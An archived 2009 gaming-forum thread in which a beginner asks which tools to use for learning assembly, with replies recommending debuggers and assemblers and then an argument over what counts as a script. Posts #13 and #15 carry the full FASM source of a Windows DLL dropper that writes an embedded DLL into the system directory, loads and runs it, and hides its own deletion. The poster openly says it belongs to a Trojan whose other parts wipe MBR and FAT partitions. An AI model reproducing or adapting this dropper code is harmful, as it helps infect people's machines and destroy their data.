RaGEZONE sponsored advertisment:
06-30-2009
|
#1 (permalink)
| | Average Member
Rank: Hobbit
Join Date: Feb 2009 Location: The Nederlands
Posts: 54
Thanked 4 Times in 1 Post
| What programs i need for ASM!
Hi Everyone,
Im learning ASM, but i dont know what programs i need!
Can someone tell me the name.
Hope you guys know it
Tyvm!
|
| |
RaGEZONE sponsored advertisment:
06-30-2009
|
#2 (permalink)
| | Kthxbai !
Rank: Member + Join Date: Apr 2009 Location: The Netherlands
Posts: 500
Thanked 3 Times in 1 Post
| Re: What programs i need for ASM!
|
Originally Posted by marbogunz |
Hi Everyone,
Im learning ASM, but i dont know what programs i need!
Can someone tell me the name.
Hope you guys know it
Tyvm!
| Use OllyDBG I think?
|
| | 
Endorsement
06-30-2009
|
#3 (permalink)
| | Average Member
Rank: Hobbit
Join Date: Feb 2009 Location: The Nederlands
Posts: 54
Thanked 4 Times in 1 Post
| Re: What programs i need for ASM!
K thx for your help ;d!
|
| | 
Endorsement
06-30-2009
|
#4 (permalink)
| | RestyleGamerZ FTW
Rank: Member + Join Date: Mar 2008 Location: The Netherlands
Posts: 693
Thanked 2 Times in 2 Posts
| Re: What programs i need for ASM!
He is right. The ONLY thing you need is OllyDBG. I prefer the 1.10
|
| |
06-30-2009
|
#5 (permalink)
| | Hmm.
Rank: Alpha Member Join Date: Jan 2007 Location: D:
Posts: 1,487
Thanked 52 Times in 41 Posts
| Re: What programs i need for ASM!
No, you can't learn ASM with ollydbg. Read the tutorials?
|
| |
06-30-2009
|
#6 (permalink)
| | Kthxbai !
Rank: Member + Join Date: Apr 2009 Location: The Netherlands
Posts: 500
Thanked 3 Times in 1 Post
| Re: What programs i need for ASM!
|
Originally Posted by Linear88 | |
No, you can't learn ASM with ollydbg. Read the tutorials?
| He said he wanted a program for asm.
| | Quote: | |
Im learning ASM, but i dont know what programs i need!
| |
| |
07-01-2009
|
#7 (permalink)
| | RaGEZONER
Rank: Hobbit
Join Date: Dec 2008 Location: Hiding from you.
Posts: 70
Thanked 0 Times in 0 Posts
| Re: What programs i need for ASM!
use ollyDBG for the ASM coding and use http://www.xs4all.nl/~smit/asm01001.htm for good tutorials!
anyways good luck with ASM!
|
| |
07-01-2009
|
#8 (permalink)
| | Guess.
Rank: Member + Join Date: May 2009 Location: California
Posts: 327
Thanked 7 Times in 3 Posts
| Re: What programs i need for ASM!
No one mentions IdaPro? >..>
OllyDbg will work I guess..
__________________ I'm going to be a father.  |
| |
07-01-2009
|
#9 (permalink)
| | I <3 Penguins
Rank: Member + Join Date: Dec 2008 Location: Across a sea, apart from you. O my love i long for you.
Posts: 1,006
Thanked 90 Times in 25 Posts
| Re: What programs i need for ASM!
If you are actually coding in asm i suggest mASM, but if your just editing old stuff ollyDBG
|
| |
07-01-2009
|
#10 (permalink)
| | Quit
Rank: Member + Join Date: Apr 2009
Posts: 293
Thanked 8 Times in 6 Posts
| Re: What programs i need for ASM!
Ollydbg is only for debugging/disassembling and inline asm it has nothing to do with "coding", if you really are learning asm, you should know about masm32.
|
| |
07-02-2009
|
#11 (permalink)
| | Contributor
Rank: Member + Join Date: Apr 2009
Posts: 854
Thanked 102 Times in 41 Posts
| Re: What programs i need for ASM!
|
Originally Posted by Trilest | |
He said he wanted a program for asm.
| A debugger rarely has anything to do with ASM.
|
Originally Posted by Tman151 |
No one mentions IdaPro? >..>
OllyDbg will work I guess..
| Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".
|
Originally Posted by BetrayedAcheron | |
If you are actually coding in asm i suggest mASM, but if your just editing old stuff ollyDBG
|
|
Originally Posted by PaulBub | |
Ollydbg is only for debugging/disassembling and inline asm it has nothing to do with "coding", if you really are learning asm, you should know about masm32.
| MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
|
| |
07-02-2009
|
#12 (permalink)
| | Http://www.snowgamers.net
Rank: Member + Join Date: Aug 2008 Location: At Home
Posts: 351
Thanked 26 Times in 14 Posts
| Re: What programs i need for ASM!
i recommend ollydbg
__________________ P-Team Hax'0r Group Leader |
| |
07-02-2009
|
#13 (permalink)
| | The Omega
Rank: Member
Join Date: Jan 2009
Posts: 118
Thanked 8 Times in 4 Posts
| Re: What programs i need for ASM!
|
Originally Posted by gWX0 |
A debugger rarely has anything to do with ASM.
Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".
MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
| Code:
format PE gui 4.0
entry G
include 'FASM\include\win32a.inc'
include 'config.inc'
proc callback,handle,reason,reserved
cmp [reason],DLL_PROCESS_ATTACH
jnz exit
xor eax,eax
invoke LocalAlloc,eax,100h
test eax,eax
je exit
mov edi,eax
push edi
invoke GetSystemDirectory,edi,100h
add edi,eax
mov al,'\'
stosb
mov esi,_dll_name
mov ecx,_dll_name_sz
rep movsb
pop edi
mov ebx,edi
xor esi,esi
invoke CreateFile,edi,40000000h,esi,esi,2,2,esi
inc eax
je exit
lea edi,[eax-1]
invoke WriteFile,edi,_dll,_dll_sz,esp,esi
invoke CloseHandle,edi
invoke LoadLibrary,ebx
test eax,eax
je exit
invoke GetProcAddress,eax,_ProcAddress
test eax,eax
je exit
call eax
mov eax,_delete
cmp eax,0
je exit
invoke GetModuleFileName,esi,szFile,MAX_PATH
invoke GetShortPathName,szFile,szFile,MAX_PATH
invoke lstrcpy,szCmd,szDelete
invoke lstrcat,szCmd,szFile
invoke lstrcat,szCmd,szNull
invoke GetEnvironmentVariable,szComSpec,szFile,MAX_PATH
test eax,eax
je exit
invoke ShellExecute,esi,esi,szFile,szCmd,esi,SW_HIDE
exit:
invoke ExitProcess,esi
G:
ret
endp
data 9
dd a
dd a
dd a
dd c
a dd 0
c dd callback
dd 0
end data
section '.data' data readable writeable
_dll_name db dll_name,0
_dll_name_sz = $ - _dll_name
_ProcAddress db 'install',0
szFile db MAX_PATH dup (?)
szCmd db MAX_PATH dup (?)
szComSpec db 'ComSpec',0
szDelete db '/c del ',0
szNull db ' >> nul',0
_dll:
file 'SOURCE\F.dll'
_dll_sz = $ - _dll
data import
library kernel***'KERNEL32.DLL',\
shell***'SHELL32.DLL',\
user***'USER32.DLL'
include 'FASM\include\kernel32.inc'
include 'FASM\include\shell32.inc'
include 'FASM\include\user32.inc'
end data
What a fun little script.
__________________ Knowledge is free. Knowledge is the world.  |
| |
07-02-2009
|
#14 (permalink)
| | I <3 Penguins
Rank: Member + Join Date: Dec 2008 Location: Across a sea, apart from you. O my love i long for you.
Posts: 1,006
Thanked 90 Times in 25 Posts
| Re: What programs i need for ASM!
|
Originally Posted by gWX0 |
A debugger rarely has anything to do with ASM.
Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".
MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
| thanks alot i might look at that o.o
|
| |
07-02-2009
|
#15 (permalink)
| | Contributor
Rank: Member + Join Date: Apr 2009
Posts: 854
Thanked 102 Times in 41 Posts
| Re: What programs i need for ASM!
|
Originally Posted by TidusXIII | Code:
format PE gui 4.0
entry G
include 'FASM\include\win32a.inc'
include 'config.inc'
proc callback,handle,reason,reserved
cmp [reason],DLL_PROCESS_ATTACH
jnz exit
xor eax,eax
invoke LocalAlloc,eax,100h
test eax,eax
je exit
mov edi,eax
push edi
invoke GetSystemDirectory,edi,100h
add edi,eax
mov al,'\'
stosb
mov esi,_dll_name
mov ecx,_dll_name_sz
rep movsb
pop edi
mov ebx,edi
xor esi,esi
invoke CreateFile,edi,40000000h,esi,esi,2,2,esi
inc eax
je exit
lea edi,[eax-1]
invoke WriteFile,edi,_dll,_dll_sz,esp,esi
invoke CloseHandle,edi
invoke LoadLibrary,ebx
test eax,eax
je exit
invoke GetProcAddress,eax,_ProcAddress
test eax,eax
je exit
call eax
mov eax,_delete
cmp eax,0
je exit
invoke GetModuleFileName,esi,szFile,MAX_PATH
invoke GetShortPathName,szFile,szFile,MAX_PATH
invoke lstrcpy,szCmd,szDelete
invoke lstrcat,szCmd,szFile
invoke lstrcat,szCmd,szNull
invoke GetEnvironmentVariable,szComSpec,szFile,MAX_PATH
test eax,eax
je exit
invoke ShellExecute,esi,esi,szFile,szCmd,esi,SW_HIDE
exit:
invoke ExitProcess,esi
G:
ret
endp
data 9
dd a
dd a
dd a
dd c
a dd 0
c dd callback
dd 0
end data
section '.data' data readable writeable
_dll_name db dll_name,0
_dll_name_sz = $ - _dll_name
_ProcAddress db 'install',0
szFile db MAX_PATH dup (?)
szCmd db MAX_PATH dup (?)
szComSpec db 'ComSpec',0
szDelete db '/c del ',0
szNull db ' >> nul',0
_dll:
file 'SOURCE\F.dll'
_dll_sz = $ - _dll
data import
library kernel***'KERNEL32.DLL',\
shell***'SHELL32.DLL',\
user***'USER32.DLL'
include 'FASM\include\kernel32.inc'
include 'FASM\include\shell32.inc'
include 'FASM\include\user32.inc'
end data
What a fun little script.
| That's a dynamic link-library, not a script. It looks like it dumps a copy of itself into the system directory.
|
| |
07-02-2009
|
#16 (permalink)
| | The Omega
Rank: Member
Join Date: Jan 2009
Posts: 118
Thanked 8 Times in 4 Posts
| Re: What programs i need for ASM!
Its a script? Or are you a full ego narb. Yes we know that. I put that as an example to FASM, and that is made for a Trojan dropper. The other parts adds a lot of beautiful 0's to MDR and FAT partitions.
__________________ Knowledge is free. Knowledge is the world.  |
| |
07-02-2009
|
#17 (permalink)
| | Contributor
Rank: Member + Join Date: Apr 2009
Posts: 854
Thanked 102 Times in 41 Posts
| Re: What programs i need for ASM!
|
Originally Posted by TidusXIII | |
Its a script? Or are you a full ego narb. Yes we know that. I put that as an example to FASM, and that is made for a Trojan dropper. The other parts adds a lot of beautiful 0's to MDR and FAT partitions.
| It 's not a script.
|
| |
07-02-2009
|
#18 (permalink)
| | Quit
Rank: Member + Join Date: Apr 2009
Posts: 293
Thanked 8 Times in 6 Posts
| Re: What programs i need for ASM!
|
Originally Posted by gWX0 | |
MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
| I gave a try to fasm, it really is nice !
|
| |
07-02-2009
|
#19 (permalink)
| | The Omega
Rank: Member
Join Date: Jan 2009
Posts: 118
Thanked 8 Times in 4 Posts
| Re: What programs i need for ASM!
A scripting language, script language or extension language is a programming language that allows control of one or more software applications. "Scripts" are distinct from the core code of the application, which is usually written in a different language, and are often created or at least modified by the end-user.
It's a script.
__________________ Knowledge is free. Knowledge is the world.  |
| |
07-02-2009
|
#20 (permalink)
| | Contributor
Rank: Member + Join Date: Apr 2009
Posts: 854
Thanked 102 Times in 41 Posts
| Re: What programs i need for ASM!
|
Originally Posted by TidusXIII |
A scripting language, script language or extension language is a programming language that allows control of one or more software applications. "Scripts" are distinct from the core code of the application, which is usually written in a different language, and are often created or at least modified by the end-user.
It's a script.
| A scripting language is interpreted at runtime.
This is compiled into native bytecode, which is executed directly at runtime.
It's not a script.
|
| |
07-02-2009
|
#21 (permalink)
| | The Omega
Rank: Member
Join Date: Jan 2009
Posts: 118
Thanked 8 Times in 4 Posts
| Re: What programs i need for ASM!
You just proved my point with your own words.
It's a script.
__________________ Knowledge is free. Knowledge is the world.  |
| |
07-02-2009
|
#22 (permalink)
| | I <3 Penguins
Rank: Member + Join Date: Dec 2008 Location: Across a sea, apart from you. O my love i long for you.
Posts: 1,006
Thanked 90 Times in 25 Posts
| Re: What programs i need for ASM!
stop arguing, it isnt a script maku <.<
|
| |
07-02-2009
|
#23 (permalink)
| | Contributor
Rank: Member + Join Date: Apr 2009
Posts: 854
Thanked 102 Times in 41 Posts
| Re: What programs i need for ASM!
|
Originally Posted by TidusXIII |
You just proved my point with your own words.
It's a script.
|
| | Quote: |
A scripting language is interpreted at runtime.
This is compiled into native bytecode, which is executed directly at runtime.
It's not a script.
| Interpreted at runtime = converted to bytecode, then executed at runtime.
Versus
Executed at runtime = compiled some time occuring before runtime, then executed at runtime.
It's not a script.
|
| |
07-02-2009
|
#24 (permalink)
| | Quit
Rank: Member + Join Date: Apr 2009
Posts: 293
Thanked 8 Times in 6 Posts
| Re: What programs i need for ASM!
Asm isn't a script, and is well, must be considered as even more native than C or C++.
|
| |
07-02-2009
|
#25 (permalink)
| | Kthxbai !
Rank: Member + Join Date: Apr 2009 Location: The Netherlands
Posts: 500
Thanked 3 Times in 1 Post
| Re: What programs i need for ASM!
Guys wtf is the point about arguing whats a script or not.
He asked for a program he got it.
|
| |
LinkBacks (?)
LinkBack to this Thread: http://forum.ragezone.com/f311/what-programs-i-need-for-asm-587017/ | | Posted By | For | Type | Date | | Gunz Online | This thread | Refback | 06-30-2009 03:45 PM | |